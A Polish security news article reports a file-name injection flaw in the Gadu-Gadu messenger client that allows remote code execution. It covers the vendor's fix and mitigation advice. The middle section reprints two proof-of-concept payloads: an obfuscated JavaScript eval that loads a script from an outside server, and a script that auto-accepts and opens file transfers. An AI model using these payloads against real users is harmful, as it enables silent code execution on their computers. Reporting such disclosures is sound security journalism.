Jak informuje Kacper Szcześniak, komunikator Gadu-Gadu niepoprawnie obsługuje operację przesyłania i odbierania plików. Dziura umożliwia atakującemu na zdalne wykonanie kodu na komputerze użytkownika korzystającego z oryginalnego klienta Gadu-Gadu.

Dziura w Gadu-Gadu

Podatność w kliencie Gadu-Gadu opublikował wczoraj na liście Full Disclosure Kacper Szcześniak. Atak polega na odpowiednim nazwaniu przesyłanego do ofiary pliku — w nazwie można wykorzystać 255 znaków, które złożą się na na kod HTML/JavaScript — za jego pomocą, atakujący może sterować operacjami GUI klienta Gadu-Gadu, w tym zapisać i uruchomić dowolny plik na jego komputerze bez konieczności jakiejkolwiek interakcji z użytkownikiem.

Na atak podatne są wszystkie wersje oryginalnego klienta Gadu-Gadu. Jak podkreśla Kacper, mechanizmy DEP i ASLR w niczym tu nie pomogą, bo chodzi o kod JS.

Exploit na Gadu-Gadu

Kacper opublikował exploita Proof of Concept ładującego plik x.js z zewnętrznego serwera:

<input

onfocus="eval(unescape('x%3Ddocument.getElementsByTagName%28%27head

%27%29.item%280%29%3By%3Ddocument.createElement%28%27script

%27%29%3By.src%3D%27http:%2f%2fasd.pl%2fx.js%27%3Bx.appendChild

%28y%29%3B'));this.setAttribute('onfocus',0);"

autofocus>

oraz PoC pozwalający na zaakcpetowanie i otwarcie dowolnego żądania transferu

document.getElementById('extra').innerHTML = '<style>.file,

.entrySeparator{display:none;}</style>';

n = document.getElementById('open_file');

n.setAttribute('id', '');

function ff(){

if(f = document.getElementById('open_file')) {

e = document.createEvent("HTMLEvents");

e.initEvent('click', true, true);

f.dispatchEvent(e);

f.setAttribute('id', '');

}

setTimeout('ff()', 1000);

}

ff();

Jak się obronić przed luką w Gadu-Gadu?

Producent w chwili publikacji tego tekstu nie odesłał jeszcze odpowiedzi na nasze pytanie, kiedy i jak zamierza naprawić ten błąd. Wszystkim, którzy muszą korzystać z Gadu-Gadu sugerujemy przesiadkę na inny niż oryginalny komunikator — z Gadu-Gadu można korzystać np. przy pomocy transportu Jabbera (nie wspiera transferu plików) na komunikatorze PSI. Warto także zaznaczyć, że aby otrzymać od kogoś plik przez Gadu-Gadu — musimy go mieć dodanego do listy kontaktów.

Na koniec przypomnijmy, że niedawno podobny błąd przytrafił się Skype’owi.

Aktualizacja: 22:26, 25.05.2011

Rzecznik prasowy Gadu-Gadu, Jarosław Rybus:

(..) mam świeżą dobrą informację – w kilka godzin udało nam się już wdrożyć poprawkę, załatała ona dziurę w bezpieczeństwie. Będziemy jeszcze przyglądać się tej sprawie. Dodam, że problem ten nie dotyczył wersji mobilnych GG, ani wersji Web Gadu.

Z oświadczenia rzecznika nie wynika niestety, czy poprawka zostanie automatycznie rozdystrybuowana do klientów Gadu-Gadu, czy trzeba ją pobrać ręcznie i zainstalować, czy może została ona wdrożona na serwerach Gadu-Gadu i nic nie trzeba robić.

P.S. Ciekawy to ruch – publikacja 0day’a na Full Disclosure w momencie kiedy na CONFidence odbywał się panel poświęcony temu jak zgłaszać do producentów błędy ;-) Przemyślenia z panelu dyskusyjnego oraz stosunek takich firm jak Allegro czy zespoły CERT do “niezamówionych pentestów” niebawem opiszemy, teraz pora rozpocząć drugi dzień konferencji.

Przeczytaj także: